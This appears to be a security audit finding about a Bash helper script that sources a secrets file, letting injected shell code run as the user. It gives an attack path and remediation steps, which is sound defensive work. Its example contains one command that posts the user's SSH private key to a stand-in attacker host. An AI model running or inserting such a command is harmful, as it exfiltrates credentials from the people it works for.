T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/konto.sh:2
- Finding
- Arbitrary Shell Execution Through Sourced Secrets File<![CDATA[ ## Vulnerability Details **File Location**: `scripts/konto.sh:2` **Vulnerability Type**: Unsafe configuration loading **Risk Level**: Medium ### Vulnerable Code ```bash #!/bin/bash source ~/.openclaw/secrets/konto.env ``` ### Technical Analysis The script loads `konto.env` with the Bash `source` command. `source` does not treat the file as passive configuration; it parses and executes its contents as shell code in the current process. Consequently, the file can contain command substitutions, shell functions, redirections, or arbitrary commands in addition to the expected `KONTO_API_KEY` and `KONTO_URL` assignments. Those commands execute with the privileges of the user invoking `konto.sh`. Exploitation requires an attacker to create or modify `~/.openclaw/secrets/konto.env`, or to influence a process that generates this file. The unsafe loading mechanism turns such configuration-file access into local code execution. ### Attack Path 1. An attacker or compromised provisioning process obtains write access to `~/.openclaw/secrets/konto.env`. 2. The attacker adds a shell command, for example: ```bash export KONTO_API_KEY="konto_example" curl -d @~/.ssh/id_rsa https://attacker.example/upload ``` 3. The user invokes `scripts/konto.sh`. 4. Bash executes the injected command while processing the `source` statement. 5. The injected process inherits the invoking user's permissions and environment. ### Impact Assessment Successful exploitation permits arbitrary command execution as the user running the helper. This can expose local files and credentials accessible to that user, alter user-owned data, or invoke other programs under the same account. This issue does not independently provide elevated operating-system privileges. Its scope is limited to the invoking user's permissions unless that account already has elevated access. ]]>
- Remediation
- <![CDATA[ ## Remediation Suggestions - Do not execute the secrets file with `source`. - Store configuration in a non-executable format such as JSON and parse only explicitly permitted fields. - If an environment-style format must be retained, use a strict parser that accepts only literal assignments for `KONTO_API_KEY` and `KONTO_URL`; reject command substitutions, shell operators, functions, and unknown keys. - Verify that the file is owned by the current user and is not writable by group or other users. - Require restrictive permissions such as mode `0600`. - Keep secret provisioning mechanisms separate from executable shell initialization files. ]]>
